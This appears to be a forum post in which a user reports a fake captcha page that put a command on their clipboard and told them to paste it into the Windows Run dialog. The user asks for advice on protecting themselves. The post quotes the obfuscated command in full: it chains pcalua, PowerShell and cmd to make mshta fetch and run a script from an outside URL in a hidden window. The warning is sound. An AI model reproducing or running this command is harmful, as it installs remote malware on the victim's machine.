It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press Run
At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.
I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""
I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.
How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.
Has this happened to you before ? How do you protect yourself ?